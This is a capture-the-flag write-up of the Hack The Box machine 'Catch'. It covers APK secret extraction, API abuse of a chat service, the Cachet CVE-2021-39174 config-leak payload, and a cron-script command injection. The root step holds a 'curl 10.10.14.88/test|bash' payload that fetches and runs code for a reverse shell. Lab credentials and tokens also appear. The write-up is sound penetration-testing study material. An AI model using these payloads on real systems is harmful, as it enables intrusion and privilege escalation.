Hack The Box: Catch

Prelude

Catch was an Intermediate machine from Hack The Box, developed by MrR3boot. This was a great machine and had several services running. I believe the idea for creating this machine was to push the players to research broader and deeper.

We start by decompiling an APK provided by a static website to find some hardcoded secrets. We can then use the secret to login to Let’s Chat API endpoint and view the internal chat to get credentials for Cachet. Once we are logged into the Cachet service, we can then use a CVE in cachet to get the database username and password. These credentials could be used to login via SSH.

For getting root, we use a command injection vulnerability in a custom bash script running as a cron job.

Let me elaborate on how I solved this box.

Exploitation

Nmap returned the following results.

Nmap scan report for 10.10.11.150
Host is up (0.055s latency).
Not shown: 65530 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Catch Global Systems
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: i_like_gitea=439ff2863e52b13a; Path=/; HttpOnly
|     Set-Cookie: _csrf=nDtw5s4C4ExlvDhLbohUyfi-S9c6MTY0NzcwMzU3MzA1MTYxODg0MA; Path=/; Expires=Sun, 20 Mar 2022 15:26:13 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sat, 19 Mar 2022 15:26:13 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Catch Repositories </title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiQ2F0Y2ggUmVwb3NpdG9yaWVzIiwic2hvcnRfbmFtZSI6IkNhdGNoIFJlcG9zaXRvcmllcyIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jYXRjaC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNhdGNoLmh0Yjoz
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Set-Cookie: i_like_gitea=7bf2069701892451; Path=/; HttpOnly
|     Set-Cookie: _csrf=RW_V86p1cWg6hdAUcXOEEitMiOQ6MTY0NzcwMzU3ODMzNTg4Mzg0MA; Path=/; Expires=Sun, 20 Mar 2022 15:26:18 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sat, 19 Mar 2022 15:26:18 GMT
|_    Content-Length: 0
5000/tcp open  upnp?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, SMBProgNeg, ZendJavaBridge: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 302 Found
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Content-Security-Policy: 
|     X-Content-Security-Policy: 
|     X-WebKit-CSP: 
|     X-UA-Compatible: IE=Edge,chrome=1
|     Location: /login
|     Vary: Accept, Accept-Encoding
|     Content-Type: text/plain; charset=utf-8
|     Content-Length: 28
|     Set-Cookie: connect.sid=s%3ABebeA3Z11CxZxJwedCtsx-o7xI6Um-Ok.3cdP6SYSAF0t%2FcLc6HB9k4tJg0cySYE94OuHyVW3n%2Fw; Path=/; HttpOnly
|     Date: Sat, 19 Mar 2022 15:26:17 GMT
|     Connection: close
|     Found. Redirecting to /login
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Content-Security-Policy: 
|     X-Content-Security-Policy: 
|     X-WebKit-CSP: 
|     X-UA-Compatible: IE=Edge,chrome=1
|     Allow: GET,HEAD
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 8
|     ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
|     Set-Cookie: connect.sid=s%3AYvoFJFgMi_GKyFpoXQUZEPC0dQbv00NF.0EKNJ3xV0B6MgwVw5tHVmmRnhmj3OdfRhg9YiH6N4YQ; Path=/; HttpOnly
|     Vary: Accept-Encoding
|     Date: Sat, 19 Mar 2022 15:26:18 GMT
|     Connection: close
|_    GET,HEAD
8000/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-favicon: Unknown favicon MD5: 69A0E6A171C4ED8855408ED902951594
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)

There were five ports open.

I’ve decided to start my enumeration with port 80. It was a static HTML page and the only interesting thing in the site was a download link for an APK file.

Port 80

Site hosted at port 80

Port 3000

Port 3000 was running a self hosted git service called Gitea.

Port 5000

Port 5000 was running a chat application called Let’s Chat.

Port 8000

Port 8000 had an open source status page system called Cachet.

Since I don’t have credentials to any of the services, I’ve decided to start with examining the APK I got from the static website.

I’ve decided to start by static analysis on the APK file. There’s a tool called Mobile-Security-Framework MobSF for both static and dynamic analysis of APK file. MobSF is a powerful tool and it has plenty of capabilities when it comes to andriod testing.

I’ve installed MobSF on my kali machine and started the server. After installing MobSF, we can open MobSF via browser and upload the APK file to MobSF and start static analysis.

I’ve found some hardcoded secrets in MobSF.

The secrets were tokens to Gitea, let’s chat and for slack.


"gitea_token" : "b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0"  
"lets_chat_token" : "NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ=="  
"slack_token" : "xoxp-23984754863-2348975623103"

Since the server doesn’t have Slack, let’s ignore the slack token for now.

I’ve tried logging in to Gitea and Let’s chat using the tokens , but the login attempts failed.

So I’ve researched about the tokens further and found that Let’s Chat has an API endpoint and we can authenticate to the endpoint using a token.

We just have to specify the token as Authorization Bearer Header.

I’ve also found that we can see the list of available chat rooms by requesting /rooms.

I did that and Let’s chat API has returned a JSON encoded list of available rooms!

Sweet!

We can also see the messages in a chat room by speciying the room ID in the following request.

/messages?room=<room-id>

So, I’ve viewed the messages of the status room.

/messages?room=61b86b28d984e2451036eb17

And found credentials for john user.

The credentials were the following.

john : E}V!mywu_69T4C}W

I’ve checked the credentials in every hosted service in the target and got logged into the Cachet status page system hosted at port 8000.

I’ve checked the Cachet version and found out that the version is 2.4.0

I’ve searched for vulnerabilities in Cachet version 2.4.0 and found some interesting ones from this blog. An interesting CVE mentioned in that blog was a configuration leak ( CVE-2021-39174 ).

The blog mentions that an attacker can use new line character injection to write to or get values from the .env file, where secret information like database credentials are stored.

The blog doesn’t explicitly reveal the PoC to this exploit. So I had to do some trial and error to get this working. The payload was as follows.

"\n${DB_USER}

We would have to edit the email configuration of Cachet in settings, select SMTP as the mail driver and paste the payload into  Mail from address (mail_address) text bar and then refresh the page twice to get the output.

I’ve used this vulnerability to export the DB_USER and DB_PASSWORD variable in the .env file.

Exfiltrating DB_USER

Exfiltrating DB_PASSWORD

The credentials I’ve got was as follows.

will:2#4Fg0_%3!

I’ve used this password to login as the user will via SSH.

P.S: I’ve wasted some time, going behind this laravel unserialize RCE. But to succesfully exploit it, the laravel framework must have a specific version and the SESSION_DRIVER environment variable must be set to Redis.

Privilege Escalation

Privilege escalation was really a pain. It was simple in theory, but to actually get it working was a pretty mundane task and I had to do some trial and error.

There’s a script at /opt/mdm/verify.sh, running as a cron job.

This script copies the apk files in the folder /opt/mdm/apk_bin to /root/mdm/apk_bin.

Then it does a variety of checks to ensure that this apk is valid.

Check #1

Signature check using jarsigner. The apk needs a valid certificate to pass this check. But, I don’t believe this check was functioning properly. So, we can skip this check. (Phew!)

Check #2

The script will extract the apk using apktool.
Then it will perform a compatibility by checking the Android SDK version from AndroidManifest.xml. If the version is non-zero and greater than 18, then it passes the check.
Newer android apps passes this check.

Check #3

Now, the script checks the app_name variable in res/values/strings.xml
If it contains the string Catch, then it creates a folder with the same name at /root/mdm/apk_bin.

And finally, it moves the apk from /root/mdm/apk_bin/APK_NAME to /root/mdm/certified_apps/APP_NAME/<apk-name>_verified.apk

This means that we have to create an APK file that meets the following requirements.

  • AndroidManifest.xml file with Android SDK version > 18
  • APP_NAME variable in res/values/strings.xml contains the string Catch

Since the script uses the contents of APP_NAME variable in the following move command without filtering, we can use it for injecting bash commands.

I’ve made the payload and it is as follows.

n;curl 10.10.14.88/test|bash #Catch

So that the mv command in the script will be modified from the following

mv "/root/mdm/apk_bin/APK_NAME" "/root/mdm/certified_apps/APP_NAME/<apk-name>_verified.apk"

to the following.

mv "/root/mdm/apk_bin/n; curl 10.10.14.88/test|bash #Catch 

Now we need to decompile and recompile the APK with the modified res/values/strings.xml and AndroidManifest.xml files.

I’ve used this guide about decompiling and recompiling APK files. Then I’ve downloaded a simple HTML viewer APK from APKpure, decompiled it, modified the necessary files and recompiled it.

I’ve decompiled the APP using

apktool d app.apk

Then edit the res/values/strings.xml file and change the app_name variable to the above payload. We can remove the contents in strings.xml except the important lines and it won’t affect this exploitation.

Then recompile the apk using the following command.

apktool b -f --use-aapt2 -d app/ -o out.apk

Then I’ve uploaded the APK to /opt/mdm/apk_bin.

I’ve placed a reverse bash shell in a file named test and started a python http server.

And I’ve got a root shell back!

w00t!

Postlude

And that was catch.

I’ve learned a lot from thic machine and thanks to the creator for this awesome box.

I’ve loved everything from this box, except for the privesc part.

Peace out! ✌️